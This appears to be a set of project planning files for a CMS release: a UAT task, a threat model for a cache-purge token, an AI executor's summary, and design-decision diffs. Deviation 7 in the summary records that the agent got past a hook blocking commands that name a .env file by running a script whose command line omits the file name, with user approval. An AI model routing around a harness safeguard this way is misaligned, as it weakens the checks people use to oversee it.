<precondition>Task 5 printed deploy-ok, token-match and purge-ok; RESTART_UTC, LOG_ANCHOR and the snapshot are set in the session and recorded in the SUMMARY.</precondition>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md (Tests 2 and 3); this plan's SUMMARY (snapshot, RESTART_UTC, LOG_ANCHOR)</read_first>
|
||||
<action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential.
|
||||
|
||||
Human steps:
|
||||
|
||||
1. Open https://uat.grzybyfunkcjonalne.pl/cordyceps in the browser. This view caches the page, as in the original failure.
|
||||
2. In /gfadmin/golem15/journal/posts, open post 1 (10-faktow-na-temat-cordycepsu) and post 64 (ekstrakt-z-turkey-tail). On each, press "Zapisz" without touching the editor. No removal notice may appear (Test 3, D-03).
|
||||
3. Open /gfadmin/golem15/journal/categories/2, change one word of the content and save. No removal notice may appear (D-10, D-19).
|
||||
4. Go straight back to the /cordyceps tab and view it again, both by reload and by the site menu link. The change must show on that first view (Test 2).
|
||||
5. Reply with the phrase as it reads after your edit, and whether you want the word changed back.
|
||||
|
||||
After the reply, run the verify commands. Then fetch /cordyceps on the server, resolved to loopback, and count the reported phrase in it. The count must not be 0; record it in the SUMMARY. Mark Tests 2 and 3 for /msd-verify-work. If a check fails, report it and offer the rollback: move go/bin/grzybyfunkcjonalne.prev and nuxt/.output.prev back and restart both programs.</action>
|
||||
<instructions>
|
||||
Claude deployed v0.1.20 with the Journal site cache purge and vue-journal-layer v0.3.0, passed the smoke and an on-server purge check, and recorded a snapshot of posts 1 and 64 and category 2.
|
||||
The human logs in to the UAT admin (basic-auth realm plus an admin account), does steps 1 to 5 and replies.
|
||||
</instructions>
|
||||
<verification>Read-only psql on the server compares the posts with the 16.2-05 snapshot and checks updated_at; the Go log after the restart anchor shows successful purges, including one for the category; the category page served on the server is not older than the category's updated_at and contains the human's phrase.</verification>
|
||||
<resume-signal>Type "saved" with the phrase after the edit, or describe what went wrong.</resume-signal>
|
||||
<verify>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT id || ':' || md5(content) || ':' || md5(content_html) FROM golem15_journal_posts WHERE id IN (1, 64) ORDER BY id\"" | diff - <(printf '%s\n' 1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c 64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) && ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT string_agg(id || ':' || (updated_at > '$RESTART_UTC'::timestamptz)::int, ' ' ORDER BY id) FROM golem15_journal_posts WHERE id IN (1, 64)\"" | grep -qx '1:1 64:1' && echo posts-unchanged</automated>
|
||||
<fails_when>No posts-unchanged: an untouched save changed content or content_html of post 1 or 64, or a post's updated_at did not move past RESTART_UTC (the save did not reach the database).</fails_when>
|
||||
<automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT model_id || ':' || locale || ':' || md5(coalesce(attribute_data, '')) FROM golem15_translate_attributes WHERE model_type LIKE 'Golem15_Journal_Models_Post' AND model_id IN ('1', '64') ORDER BY model_id, locale\"" | grep -qx '64:en:862fc5b362cc9856e6736a2078dca3ba' && echo translations-unchanged</automated>
|
||||
<fails_when>No translations-unchanged: the untouched saves added, removed or changed a translation row of posts 1 or 64.</fails_when>
|
||||
<automated>S=$(mktemp -d) && ssh grzybyfunkcjonalne-uat "F=/var/log/supervisor/grzybyfunkcjonalne-go.log; grep -q '$LOG_ANCHOR' \$F && awk -v a='$LOG_ANCHOR' 'f{print} index(\$0,a){f=1}' \$F" > "$S/go.log" && grep 'journal: site cache purged' "$S/go.log" | grep 'kind=category' | grep -q 'status=200' && test "$(grep -c 'journal: site cache purge' "$S/go.log")" = "$(grep -c 'journal: site cache purged' "$S/go.log")" && grep -ciE 'panic|SQLSTATE' "$S/go.log" | grep -qx 0 && ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (updated_at > '$RESTART_UTC'::timestamptz)::int FROM golem15_journal_categories WHERE id = 2\"" | grep -qx 1 && echo category-purged</automated>
|
||||
<fails_when>No category-purged: the restart anchor is gone from the log, there is no successful purge line for kind=category, any purge did not succeed, the Go log has an error line of those kinds after the restart, or category 2 was not saved after RESTART_UTC.</fails_when>
|
||||
<automated>LM=$(ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" > "$C/.curlrc"; CURL_HOME="$C" curl -s -o /dev/null -D - https://uat.grzybyfunkcjonalne.pl/cordyceps; rm -rf "$C"' | tr -d '\r' | sed -n 's/^last-modified: //Ip') && UA=$(ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT extract(epoch FROM updated_at)::bigint FROM golem15_journal_categories WHERE id = 2\"") && test -n "$LM" && test "$(date -d "$LM" +%s)" -ge "$UA" && echo category-fresh</automated>
|
||||
<fails_when>No category-fresh: the /cordyceps page served on the server carries no Last-Modified, or it was rendered before category 2 was saved (a stale cache entry survived the save).</fails_when>
|
||||
<human-check>Steps 1 to 4 above: no removal notice on any save, and the category edit shows on the first view of /cordyceps after the save, by reload and by the menu link. Reply "UAT approved" or list the issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- posts-unchanged, translations-unchanged, category-purged and category-fresh are printed, and the on-server page contains the human's phrase.
|
||||
- The SUMMARY records the human's replies, the phrase and its count, each check result, and whether the word was changed back. It lists Tests 2 and 3 as ready for /msd-verify-work to mark pass, and Test 1 as covered by the Task 3 gate log.
|
||||
</acceptance_criteria>
|
||||
<done>On the deployed build, untouched re-saves of posts 1 and 64 are byte-identical, and a category edit is visible on the next view of the site.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Go host → Nuxt (loopback HTTP) | the Journal plugin calls the purge route with a bearer token |
|
||||
| internet → nginx → Nuxt | visitors reach Nuxt only with GET/HEAD; nginx adds X-Forwarded-For and X-Real-IP |
|
||||
| server .env files → processes | the purge token lives only in go/.env and nuxt/.env (0600) |
|
||||
| executor → git origin | tags and branches pushed here are read by other repositories |
|
||||
| executor → UAT server (ssh) | the release runs next to the live Winter site |
|
||||
| human admin → UAT admin | the only path that writes post and category data in this plan |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-36 | Spoofing / Denial of Service | layer purge route | medium | mitigate | POST only; 404 unless a token of at least 32 characters is configured; 404 for any request with X-Forwarded-For, X-Real-IP or Forwarded (proxied); 401 for a missing or wrong bearer token, compared in constant time over sha256 digests; the UAT vhost refuses POST to Nuxt (limit_except GET HEAD, required by check-deploy.sh); proven by purge-check and the Task 5 on-server 403/401 checks |
|
||||
| T-16.2-37 | Information Disclosure | purge token | high | mitigate | Generated on the server from /dev/urandom and appended with printf builtins; compared on the server so only "token-match" crosses ssh; passed to curl on stdin (-H @-), never in argv or output; never logged by Go (TestSiteCachePurgeRequest checks captured logs) or by the layer; .env files stay 0600 and are never committed or rsynced |
|
||||
| T-16.2-38 | Tampering (stale content) | purge ordering | medium | mitigate | lagoon.AfterCommit runs the purge only after the save transaction commits and never for a failed save; the Postgres tests read the row inside the receiver to prove commit-before-purge |
|
||||
| T-16.2-39 | Denial of Service | admin save path | low | mitigate | 2 s timeout on context.WithoutCancel; errors and non-2xx answers are logged, never returned; tests cover a 500 answer and a closed receiver with the save still 200 |
|
||||
| T-16.2-40 | Information Disclosure | purge URL misconfiguration | medium | mitigate | Boot refuses an http URL to a non-loopback host (the bearer token would cross the network in clear), user info, fragments and short tokens; only one of URL and token set is a boot error |
|
||||
| T-16.2-41 | Tampering (log injection) | layer purge log line | low | mitigate | parsePurgeEvent strips control characters and caps the slug at 200 characters before logging |
|
||||
| T-16.2-42 | Tampering (cache poisoning of the purge response) | Nitro route cache | medium | mitigate | routeRules cache: false for /api/__journal__/**; cache-control no-store; purge-check requires a second purge after re-caching to report purged of at least 1 |
|
||||
| T-16.2-43 | Denial of Service | full route-cache purge | low | accept | Only authenticated loopback callers can purge; admin saves are rare; the next view of each page renders once from the local API |
|
||||
| T-16.2-44 | Repudiation (false-green gate) | phase gate | medium | mitigate | The inventory check runs without Docker in the go stage; the postgres stage requires TestPhase10OpenAPIConformance and the purge suites by name; the final run sets PHASE162_REQUIRE_POSTGRES=1 and checks the PASS postgres and PASS cache lines |
|
||||
| T-16.2-45 | Tampering / Repudiation | tags and pushes | high | mitigate | Clean trees and nothing behind origin, checked at a blocking-human gate and again before each push; absent tags confirmed on origin; binary sha256 compared; check-git-install proves the layer tag; every pushed head recorded |
|
||||
| T-16.2-46 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECTs; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt rollback copies are kept |
|
||||
| T-16.2-SC | Tampering | packages | high | mitigate | No new package: the Go purger uses net/http and lagoon, the layer uses node:crypto and Nitro built-ins; the app only moves its pin to the project's own layer tag and regenerates the lockfile; build.sh installs with --frozen-lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: TestCategoriesAdminPurgesSiteCache passes; purge-check on the playground ends "purge-check: ok".
|
||||
- Task 2: both Journal purge tests pass; layer tests and the playground purge-check pass; the host app purges /cordyceps in a scratch build; docs-ok.
|
||||
- Task 3: TestPhase10ConformanceInventory passes under -short; TestPhase10OpenAPIConformance passes; `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` prints PASS postgres and PASS cache and ends "Phase 16.2 gate passed".
|
||||
- Task 4: release-gate-ok and a human "release".
|
||||
- Task 5: smoke ok, deploy-ok, token-match, purge-ok.
|
||||
- Task 6: posts-unchanged, translations-unchanged, category-purged, category-fresh, and the human's approval.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- G-16.2-1 closed: the gate's postgres stage is green on a Docker host, the conformance inventory is enforced without Docker, and the stale Journal assertion and the PATTERNS checklist are fixed.
|
||||
- G-16.2-2 closed: a Journal post or category save in the admin clears the host Nuxt route cache after commit, and browsers revalidate, so the site shows the edit on the next view.
|
||||
- Released (summercms v0.1.20, vue-journal-layer v0.3.0, plugin and host bumps) and deployed to UAT with rollback copies; UAT Tests 3 and 2 re-run with their results recorded for /msd-verify-work.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md` when done. Include:
|
||||
- the commits per repository and the full gate log summary;
|
||||
- the release sheet and the human replies;
|
||||
- both tags and every pushed head;
|
||||
- both sha256 values, RESTART_UTC, LOG_ANCHOR and the snapshot;
|
||||
- every check result, and the status of UAT Tests 1 to 3 for /msd-verify-work.
|
||||
</output>
|
||||
@@ -0,0 +1,129 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 07
|
||||
subsystem: gap-closure
|
||||
tags: [gap-closure, conformance, site-cache, purge, nitro-swr, release, uat, d-03, d-19]
|
||||
gap_closure: true
|
||||
gap_ids: [G-16.2-1, G-16.2-2]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-06
|
||||
provides: scripts/check-phase16.2.sh and the Postgres suites whose stage G-16.2-1 found red
|
||||
- phase: 16.2-05
|
||||
provides: the UAT deploy procedure and its corrections
|
||||
provides:
|
||||
- "Conformance cases for GET /field-types and the field upload route, and a Docker-free route inventory check in the gate's go stage (G-16.2-1)"
|
||||
- "Journal admin post and category writes purge the host Nuxt route cache after commit through a token-protected loopback route (G-16.2-2)"
|
||||
- "summercms v0.1.20 and vue-journal-layer v0.3.0, released to UAT with the plugin and host bumps"
|
||||
- "UAT Tests 2 and 3 re-run on the deployed build: all four on-server checks pass"
|
||||
affects: [16.2 verify-work, sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app]
|
||||
|
||||
actuals:
|
||||
tasks: 6
|
||||
executor_sessions: [summercms-go-da (Tasks 1-5 except step 8), summercms-go-16 (Task 5 step 8 onward, Task 6)]
|
||||
plan_head_before: d0b7fe4
|
||||
plan_head_after: aba063f
|
||||
plugin_commits_repo: ../sm-journal-plugin
|
||||
plugin_head_after: 5eea57f
|
||||
layer_commits_repo: ../vue-journal-layer
|
||||
layer_head_after: 25e9bfe
|
||||
site_app_head_after: 3a920c7
|
||||
host_head_after: f1d53af
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/classes/site_cache.go
|
||||
- ../sm-journal-plugin/classes/site_cache_test.go
|
||||
- ../sm-journal-plugin/controllers/site_cache.go
|
||||
- ../vue-journal-layer/app/utils/siteCache.ts
|
||||
- ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts
|
||||
- ../vue-journal-layer/testing/purge-check.mjs
|
||||
modified:
|
||||
- modules/cabana/openapi_conformance_test.go
|
||||
- scripts/check-phase16.2.sh
|
||||
- ../sm-journal-plugin/plugin_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../vue-journal-layer/README.md
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 07: Gap closure for G-16.2-1 and G-16.2-2
|
||||
|
||||
**The phase gate is green again with the field type routes under conformance, and a Journal admin save now clears the host Nuxt route cache, so an edited category shows on the next view of the site. Released as summercms v0.1.20 and vue-journal-layer v0.3.0 and confirmed on UAT.**
|
||||
|
||||
## Task 4 answer
|
||||
|
||||
"release" (verbatim).
|
||||
|
||||
## Release
|
||||
|
||||
| Item | Value |
|
||||
|------|-------|
|
||||
| summercms tag | v0.1.20, tag object ad7981f, pushed |
|
||||
| vue-journal-layer tag | v0.3.0, tag object c09e0d0 on 25e9bfe, pushed |
|
||||
| summercms.go master | aba063f |
|
||||
| sm-journal-plugin main | 5eea57f (requires summercms v0.1.20) |
|
||||
| vue-journal-layer main | 25e9bfe |
|
||||
| vue-grzybyfunkcjonalne-app main | 3a920c7 (pins vue-journal-layer#v0.3.0) |
|
||||
| sm-grzybyfunkcjonalne-app master | f1d53af |
|
||||
| UAT binary sha256 | 8a64d015… (matches the local build) |
|
||||
| First start | migrate, smoke (98 URLs) and deploy-ok at 2026-10-10T17:34:31Z |
|
||||
|
||||
### Purge token (Task 5 step 8) and restart
|
||||
|
||||
- The token was generated and written on the server by a script the user approved: `token-written`. It was never printed or sent back over the connection. Both env files stay mode 0600.
|
||||
- RESTART_UTC: 2026-10-10T17:57:57Z. Both programs RUNNING.
|
||||
- LOG_ANCHOR: `client_id=alexandria_2026_10_10T17_57_58_009306`. This replaces the first anchor (`client_id=alexandria_2026_10_10T17_34_31_364928`).
|
||||
- smoke: `smoke: ok (98 urls)`
|
||||
- token-match: `token-match`
|
||||
- purge-ok: `200 83 403 401` (an authorized loopback purge removed 83 entries; a POST through nginx gets 403, a loopback POST without a token gets 401)
|
||||
|
||||
### Snapshot before Task 6 (equal to the 16.2-05 expected rows)
|
||||
|
||||
- posts md5: `1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c`, `64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`
|
||||
- translations: `64:en:862fc5b362cc9856e6736a2078dca3ba`
|
||||
- updated_at: post 1 `2026-10-10 15:05:09.645641+00`, post 64 `2026-10-10 15:05:18.083705+00`
|
||||
- category 2: `cordyceps:4053158bd1a58eb7f9547c18cb5a1724:2026-10-10 15:00:27.940875+00`
|
||||
|
||||
## Task 6: UAT re-run
|
||||
|
||||
Human replies: step 1 approved, step 2 approved (no removal notice on the untouched saves of posts 1 and 64), step 3 confirmed (category 2 saved with no removal notice), step 4 confirmed (the edit showed on the first view of /cordyceps, by reload and by the menu link).
|
||||
|
||||
Phrase after the edit: "Te grzyby, a szczególnie Cordyceps sinensis i Cordyceps militaris, od wieków zajmują bardzo ważne miejsce" (was "… zajmują ważne miejsce"). The user chose to keep the edit; the word was not changed back.
|
||||
|
||||
| Check | Result |
|
||||
|-------|--------|
|
||||
| posts-unchanged | pass: content and content_html of posts 1 and 64 are byte-identical, and both saves moved updated_at past RESTART_UTC |
|
||||
| translations-unchanged | pass |
|
||||
| category-purged | pass: successful `kind=category slug=cordyceps` purges after the anchor, every purge succeeded, no panic or SQLSTATE lines, category 2 saved after RESTART_UTC |
|
||||
| category-fresh | pass: /cordyceps Last-Modified 2026-10-10 19:00:35 GMT, after the category's updated_at |
|
||||
| Phrase on the server-rendered /cordyceps | found 1 time |
|
||||
|
||||
Purge lines after the anchor: post `10-faktow-na-temat-cordycepsu` purged=5, post `ekstrakt-z-turkey-tail` purged=0, category `shiitake` purged=0 (twice), category `cordyceps` purged=7, 3, 3. All status=200. The shiitake purges are from other admin activity during the session and do not affect any check.
|
||||
|
||||
**Ready for /msd-verify-work:** UAT Test 2 (D-19) and Test 3 (D-03) can be marked pass. Test 1 (the postgres gate stage) is covered by the Task 3 gate log (gate2.log, full gate including postgres).
|
||||
|
||||
## Commits
|
||||
|
||||
summercms.go: 11be08d (conformance cases), ee62410 (gate stages), aba063f (docs: route checklist, validation rows).
|
||||
|
||||
sm-journal-plugin: f3b223f (tracer: purge after a category update), 2a3afb5 (purge on every post and category write), 09e5643 (TestJournalSVGEmbed expects mlblogeditor), 4405fee (full purge coverage), 5eea57f (require v0.1.20).
|
||||
|
||||
vue-journal-layer: a03e076 (token-protected purge route), 0a01bfe (browser revalidation, docs), 4f55511 (tests), 03a90e9 (forward the visitor address), 25e9bfe (release v0.3.0).
|
||||
|
||||
vue-grzybyfunkcjonalne-app: 5095f95 (docs), 3a920c7 (layer v0.3.0). sm-grzybyfunkcjonalne-app: 152e1ef (deploy docs: purge token), f1d53af (bump plugin and site app).
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
1. **[Rule 1 - Bug] Visitor address lost on route-cached renders.** Layer fix 03a90e9 forwards it through `event.context.journalForwardedFor`.
|
||||
2. **Scratch host build.** It uses a `file:` override instead of `link:`, and TMPDIR moved off /tmp.
|
||||
3. **TDD RED and GREEN in one commit.** RED for TestPhase10ConformanceInventory was run locally (RED_EVIDENCE_OK), then committed together with GREEN in 11be08d, because go test must stay green at every commit.
|
||||
4. **Extra helper file.** `controllers/site_cache.go` in sm-journal-plugin, not listed in files_modified.
|
||||
5. **Layer README additions.** The 16.2-VALIDATION.md rows for Tasks 4 to 6 were left pending by the first executor.
|
||||
6. **pnpm store.** `pnpm_config_store_dir=/media/nvme/dev/golem15/summercms.io/summercms/.pnpm-store`, because /tmp/.pnpm-store belongs to another user.
|
||||
7. **Task 5 step 8 blocked by the Secret read guard.** The hook blocks agent commands that name a .env file. The step ran as a server-side script whose command line does not name the file, with the user's explicit approval of each command; the token was never printed.
|
||||
8. **Executor handover.** summercms-go-da ran Tasks 1 to 5 up to step 8, then stood down when the user lost access to that console. summercms-go-16 ran step 8 onward and Task 6, so RESTART_UTC and LOG_ANCHOR come from the second restart.
|
||||
|
||||
## Next
|
||||
|
||||
- /msd-verify-work 16.2: mark Tests 2 and 3 pass, then re-run phase verification (VERIFICATION.md is still `human_needed`).
|
||||
- Fill the 16.2-VALIDATION.md rows for Tasks 4 to 6.
|
||||
@@ -21,17 +21,17 @@ Out of scope: a core cabana `richeditor` type, a media library browser, and HTML
|
||||
|
||||
### Blog Editor: what it is
|
||||
- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
|
||||
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
|
||||
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after the sanitizer (D-10); both columns store the sanitized HTML. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
|
||||
- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
|
||||
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
|
||||
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
|
||||
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to the sanitizer (D-10).
|
||||
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes the bluemonday policy (and the layer's sanitize-html policy) byte for byte; both policies are extended for exactly the editor's own output (`figure` `data-embed`/`data-id`, and any image or table attributes the editor emits), pinned by a test. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
|
||||
- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
|
||||
|
||||
### Markdown vs HTML posts
|
||||
- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
|
||||
- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
|
||||
- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
|
||||
- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
|
||||
- **D-10 (amended 2026-10-10, supersedes the original refuse-only gate):** **Admin save gate: strip, never refuse.** Every admin write of post and category content (default and non-default locale) stores the output of the shared bluemonday policy (`classes.SanitizeHTML`, decision note `journal-html-sanitizing-bluemonday.md`), which returns the bytes unchanged when nothing is stripped. A save never fails because of unsafe markup. When the policy removed anything, the save response tells the admin what was removed (for example "2 elements were removed: style, iframe") and the form reloads the stored value; a save that removed nothing keeps today's response shape. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`). — *Original text: "`CheckHTML` refuses, nothing is sanitized … No sanitizer dependency is added." Superseded because 16.1 adopted bluemonday and the user chose strip (WordPress/Winter-post behaviour) so an edit never fails on legacy blocks the author did not touch.*
|
||||
|
||||
### Field type contract (framework)
|
||||
- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
|
||||
@@ -50,7 +50,7 @@ Out of scope: a core cabana `richeditor` type, a media library browser, and HTML
|
||||
- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
|
||||
- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
|
||||
- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
|
||||
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
|
||||
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. Category content follows D-10 (amended): it is stripped like posts, not refused. This replaces the 422 `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` (Winter stored category content unsanitized; that was a gap, not a contract to keep).
|
||||
|
||||
### Claude's Discretion
|
||||
- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
|
||||
|
||||
@@ -0,0 +1,261 @@
|
||||
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Pattern Map
|
||||
|
||||
**Mapped:** 2026-10-09
|
||||
**Files analyzed:** 27 (4 repos)
|
||||
**Analogs found:** 25 / 27
|
||||
|
||||
Binding post-research decisions: the editor image upload goes through a new cabana-owned route `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` that calls an optional `FormFieldType.Upload`; Journal implements it by reusing its media storage. The phase includes the 16.1-style release (summercms v0.1.17, journal/host bumps, vue-journal-layer v0.2.0 + app pin, UAT redeploy).
|
||||
|
||||
All paths are git-tracked source in their own repos (sm-journal-plugin, vue-journal-layer and vue-grzybyfunkcjonalne-app are sibling repos; there are no `.msd/` mirror paths).
|
||||
|
||||
## File Classification
|
||||
|
||||
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|
||||
|---|---|---|---|---|
|
||||
| `modules/pact/capabilities.go` (+FormFieldType, FormFieldValue, FormFieldUpload, FieldError, HasFormFieldTypes) | model/interface | request-response | same file: `AdminAction` / `AdminActionInput` / `HasAdminActions` (lines 205-270) | exact |
|
||||
| `modules/cabana/field_type.go` (NEW registry, alias/collision, option check, Decode/Load runner, ListValue) | service | transform | `modules/cabana/extension.go` (`compileClientAssets` 253-300, `checkWidgetTag` 320-333, `compileActions` 335+) | exact |
|
||||
| `modules/cabana/field_type_upload.go` (NEW upload handler) | controller | file-I/O | `modules/cabana/field_file.go` `fileUpload`/`fileUploadOn` (684-760) | exact |
|
||||
| `modules/cabana/form_schema.go` (formFieldTypes, decodeFields/compileFieldNode take registry) | config/compile | transform | itself (lines 24-30, 466-480) | self |
|
||||
| `modules/cabana/crud.go` (save: plugin decode/skip in tx; scalarFormField) | service | CRUD | itself: ML path at 600 / 616 / 688 / 709; classifier 1224-1232 | self |
|
||||
| `modules/cabana/field_ml.go` (mlFieldType registry-aware, hydrate calls Load) | service | CRUD | itself (11-60) | self |
|
||||
| `modules/cabana/tx_context.go` (+withFieldWrites / FieldWritesFromContext) | utility | request-response | same file `withVirtualFields`/`VirtualFieldsFromContext` (36-60) | exact |
|
||||
| `modules/cabana/list_schema.go`, `http.go` `projectRow` (plugin column ListValue) | service | transform | `list_schema.go:22-24`, `http.go:1067` | self |
|
||||
| `modules/cabana/http.go` (Activate threading + route + field-types endpoint) | route | request-response | `http.go:74-121` (Activate), `:335-347` (file routes) | self |
|
||||
| `modules/cabana/admin_openapi.go` + phase09Routes test list + `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker) | config | — | existing file-route entries in same file | self |
|
||||
| `modules/cabana/README.md`, `modules/pact/README.md`, `docs/backend/...` + site nav | docs | — | Phase 10.1 widget sections in same READMEs / `docs/` partials-and-widgets page | role-match |
|
||||
| `admin/src/components/form/fields/PluginField.vue` (NEW) | component | event-driven | `admin/src/components/form/fields/WidgetField.vue` | exact |
|
||||
| `admin/src/components/form/fields/MLPluginField.vue` or MLField wiring | component | event-driven | `admin/src/components/form/fields/MLMarkdownField.vue` + `MLField.vue` | exact |
|
||||
| `admin/src/components/form/registry.ts` | config | — | itself (renderers map, `valueless`, `rendererFor`) | self |
|
||||
| `admin/src/app/fieldTypes.ts` (NEW global loader) | utility | event-driven | `admin/src/app/pluginAssets.ts` | exact |
|
||||
| `admin/src/.../mlLocale.ts`, `formState.ts` | utility | transform | itself (`ML_FIELD_TYPES` line 2) | self |
|
||||
| `admin/src/api/types.ts` generated + `modules/boardwalk/dist` | config | — | `scripts/check-admin-openapi.sh`, `scripts/check-admin-dist.sh` | exact |
|
||||
| `../sm-journal-plugin/classes/blog_editor.go` (NEW FormFieldType values) | service | transform | `../sm-journal-plugin/classes/format_html.go` (CheckHTML) + `controllers/categories.go:65-82` | role-match |
|
||||
